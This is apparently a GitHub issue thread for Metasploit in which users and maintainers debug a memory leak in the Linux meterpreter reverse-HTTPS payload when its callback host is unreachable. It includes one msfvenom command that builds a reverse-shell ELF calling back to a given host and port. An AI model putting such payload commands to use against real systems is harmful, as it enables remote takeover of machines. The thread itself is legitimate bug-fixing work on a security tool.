Repository navigation
Description
Steps to reproduce
Simply follow the common procedures:
- Generate
linux/meterpreter_reverse_httpspayload of ELF file with msfvenom. - Exploit with msfconsole and run meterpreter, the session is established as expected.
- Exit msfconsole with
exit -y, keep the meterpreter running.
Expected behavior
Meterpreter should be able to reconnect back at any time after msfconsole starts again.
Current behavior
After serveral hours (ranging from ten minutes to half a day in different environments), meterpreter suddenly begins consuming memory at intervals, and eventually OOM killed by OS. I'd observed that memory allocation happens in heap by looking up proc maps. Setting LHOST to localhost seems accelerating this process.
Meanwhile, msfconsole will not receive any requests from meterpreter from then on.
Or in some cases, the connection is received but session can not be established, with the following error recorded:
/opt/metasploit-framework/embedded/framework/lib/rex/proto/http/server.rb:269:in `send_e404'
/opt/metasploit-framework/embedded/framework/lib/rex/proto/http/server.rb:374:in `dispatch_request'
/opt/metasploit-framework/embedded/framework/lib/rex/proto/http/server.rb:303:in `on_client_data'
/opt/metasploit-framework/embedded/framework/lib/rex/proto/http/server.rb:162:in `block in start'
/opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/rex-core-0.1.31/lib/rex/io/stream_server.rb:42:in `on_client_data'
/opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/rex-core-0.1.31/lib/rex/io/stream_server.rb:185:in `block in monitor_clients'
/opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/rex-core-0.1.31/lib/rex/io/stream_server.rb:184:in `each'
/opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/rex-core-0.1.31/lib/rex/io/stream_server.rb:184:in `monitor_clients'
/opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/rex-core-0.1.31/lib/rex/io/stream_server.rb:64:in `block in start'
/opt/metasploit-framework/embedded/framework/lib/rex/thread_factory.rb:22:in `block in spawn'
/opt/metasploit-framework/embedded/framework/lib/msf/core/thread_manager.rb:105:in `block in spawn'
[09/03/2023 20:46:45] [e(0)] rex: Failed to find handler for resource: /qIuqu9IZXtLvmumYi26kww8cb3ZwjcbaK8Mygu1lIliHX/
[09/03/2023 20:46:45] [e(0)] core: Error in stream server client monitor: undefined method `html_escape' for #<Rex::Proto::Http::Server https://0.0.0.0:8443 [ "/qIuqu9IZXtLvmumYi26QZwqcRKYGYKqPA4adX9K81pBz_MS4mlaS92a4Zny17sy5LWU7n/" ]>
Did you mean? html_safe?
Documentation
I was trying to make a persistent meterpreter session following the official document, but failed from the very beginning —— Meterpreter itself crashes (due to OOM) before any timeouts could be reached!!
Metasploit version
Newest until now, 6.3.32-dev-
Activity
dwelch-r7 commentedon Sep 5, 2023
Hi @mnihyc thanks for raising this issue, could you let us know what OS target machine was running?
also including the output from the
debugcommand inmsfconsoleeven though you're creating the payload withmsfvenomit would be nice for us to see all the handler options that have been setThis is pretty interesting, I'd need more info to confirm but I suspect localhost is resolving and then retrying quickly and when you're using another LHOST address it's taking longer to resolve (or not resolving at all) and so the loop takes longer but likely isn't the source of the issue anyway but that's just a stab in the dark
mnihyc commentedon Sep 5, 2023
@dwelch-r7 Hello, thank you for pointing this out. I'm testing with Ubuntu 22.04 x64, and I believe this is an universal issue.
After further diagnosis, I found that memory leak occurs especially when the target accessed by meterpreter is unreachable, that is to say, either LHOST is unreachable, or if LHOST is domain name, the DNS provider is not working. My previous guess about "localhost" appears wrong, and the essential cause are more likely that I'm in poor Internet condition.
Based on this discovery, it would be incredibly simple to trigger the issue: set LHOST to an inaccessible IP, and meterpreter will consume memory for eternity. This can be done without interaction with msfconsole.
A basic example would be:
msfvenom -p linux/x64/meterpreter_reverse_https LHOST=9.8.7.6 LPORT=8443 -f elf -o revRunning the generated program, it can be seen that memory usage keeps increasing rapidly. This also applies for http payload, but not tcp.
Because I'm typically using domains as LHOST, this issue appears critical to me as meterpreter is likely to OOM before DNS change is propagated.
Since the leak happens in heap, I'd set breakpoints on malloc/calloc and obtained some "malicious" call stacks:
and
Limited to my understanding about source code of meterpreter, I'd suspect it's some "logical error" causing meterpreter to make requests forever without correctly closing them.
adfoster-r7 commentedon Sep 5, 2023
@mnihyc Interesting! You might be interested in the source code over here too if you were wanting to dig deeper
https://github.com/rapid7/mettle/blob/7274a2413952be0c612fcacf2eb1cc1119c2b840/mettle/src/http_client.c#L205
mnihyc commentedon Sep 5, 2023
@adfoster-r7 Thank you for letting me know that.
Just to add that, when the memory leaks up to a specific value, like 500M, even if meterpreter is still running, the session can not be established any longer. If this is the first connection, then msfconsole will show endless "Redirecting stageless connection" at rapid speed. Otherwise, msfconsole simply says "session is not valid and will be closed" after seconds and "failed to negotiate TLV encryption" is found in the debug log.
I can believe that the leak is absolutely affecting normal functionality in some way.
github-actions commentedon Oct 6, 2023
Hi!
This issue has been left open with no activity for a while now.
We get a lot of issues, so we currently close issues after 60 days of inactivity. It’s been at least 30 days since the last update here.
If we missed this issue or if you want to keep it open, please reply here. You can also add the label "not stale" to keep this issue open!
As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.
gnusec commentedon Nov 5, 2023
anyone fix it ? @mnihyc @adfoster-r7
Jemmy1228 commentedon Nov 9, 2023
@mnihyc @adfoster-r7 @gnusec
I spent some time debugging this issue and gained some clues about this bug.
My conclusion is that most requests (I mean
eio_req) are stuck in theeio_poolin ready state (requests have beensubmitted but have not yet entered the execution phase)
In general, all the requests would go through
http_request()=>eio_custom(...)=>eio_submit(...), and wait for the task to be dispatched. (Memory is allocated inhttp_request)When the request gets dispatched, the function pointer passed to
eio_customwill be called i.e.request, and thenrequest(...)will callrequest_done(...)=>http_conn_free(...)to free the allocated memory no matter whether the HTTP request succeded or not.However, it seems that most requests haven't got dispatched (
requestis not executed). Of course,request_doneandhttp_conn_freeare not called to free the allocated memory either.I used a
gdbcommand script to debug the generated payload.gdb --command={commandFile} {executable} {executablePid}Here's the command file I used, you may need to change some offsets if it does not work.
The output contains a lot of
http_request() = 0xXXXXXXXXXXXXXXXXandsubmit(0xXXXXXXXXXXXXXXXX), which means manyeio_reqs are successfully created and submitted tolibeioOnly a few
request(0xXXXXXXXXXXXXXXXX),done(0xXXXXXXXXXXXXXXXX),free(0xXXXXXXXXXXXXXXXX)are seen in the output, which means most requests are stuck in ready state, but have not yet entered the execution phase.By viewing the
eio_poolvariable (the value to be returned byeio_nready()) with gdb, I have confirmed my guess. Theeio_poolgrows continuously, and the memory consumption increases as the pool gets larger.But I have no clue how to fix this problem, and don't know how to integrate mettle with msfconsole to check if it is fixed.
adfoster-r7 commentedon Nov 9, 2023
Thanks for taking a look! 👍
To build Mettle locally, it should be possible to build it on your host machine or via docker:
https://github.com/rapid7/mettle
Once the payload is built, it should output a usable elf file that you can execute directly. iirc it's something similar to:
And connecting back to a Metasploit an already running msfconsole listener with the newly built Mettle binary is something like:
github-actions commentedon Dec 11, 2023
Hi!
This issue has been left open with no activity for a while now.
We get a lot of issues, so we currently close issues after 60 days of inactivity. It’s been at least 30 days since the last update here.
If we missed this issue or if you want to keep it open, please reply here. You can also add the label "not stale" to keep this issue open!
As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.
8 remaining items
github-actions commentedon Apr 15, 2024
Hi again!
It’s been 60 days since anything happened on this issue, so we are going to close it.
Please keep in mind that I’m only a robot, so if I’ve closed this issue in error please feel free to reopen this issue or create a new one if you need anything else.
As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.